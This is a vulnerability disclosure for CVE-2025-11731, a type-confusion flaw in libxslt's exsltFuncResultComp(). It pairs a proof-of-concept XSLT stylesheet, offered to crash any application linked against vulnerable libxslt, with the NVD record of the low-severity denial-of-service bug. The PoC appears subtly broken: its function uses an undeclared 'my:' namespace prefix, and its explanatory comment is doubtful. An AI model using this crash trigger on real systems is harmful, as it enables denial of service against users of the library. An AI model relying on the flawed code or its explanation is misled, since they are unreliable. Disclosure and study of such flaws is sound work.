CVE-2025-11731

<?xml version="1.0" encoding="UTF-8"?> <!-- CVE-2025-11731 PoC: Type confusion in exsltFuncResultComp() --> <!-- This XSLT stylesheet triggers type confusion by making func:result --> <!-- return a document node instead of an element node --> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:func="http://exslt.org/functions" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="func exsl"> <func:function name="my:trigger"> <!-- func:result returns a document node (exsl:node-set result wrapped as document), which causes type confusion in exsltFuncResultComp() --> <func:result select="exsl:node-set(/*)" /> </func:function> <xsl:template match="/"> <root> <xsl:value-of select="my:trigger()" /> </root> </xsl:template> </xsl:stylesheet> <!-- Usage: Apply this stylesheet to any XML document using xsltproc or any application linked against vulnerable libxslt. Expected result: Crash (segfault) or unexpected memory read. -->

{"cve": {"id": "CVE-2025-11731", "sourceIdentifier": "[email protected]", "published": "2025-10-14T06:15:34.483", "lastModified": "2026-04-27T21:16:22.567", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the exsltFuncResultComp() function of libxslt, which handles EXSLT <func:result> elements during stylesheet parsing. Due to improper type handling, the function may treat an XML document node as a regular XML element node, resulting in a type confusion. This can cause unexpected memory reads and potential crashes. While difficult to exploit, the flaw could lead to application instability or denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:11015", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-11731", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2403688", "source": "[email protected]"}, {"url": "https://gitlab.gnome.org/GNOME/libxslt/-/issues/151", "source": "[email protected]"}, {"url": "https://gitlab.gnome.org/GNOME/libxslt/-/merge_requests/78", "source": "[email protected]"}]}}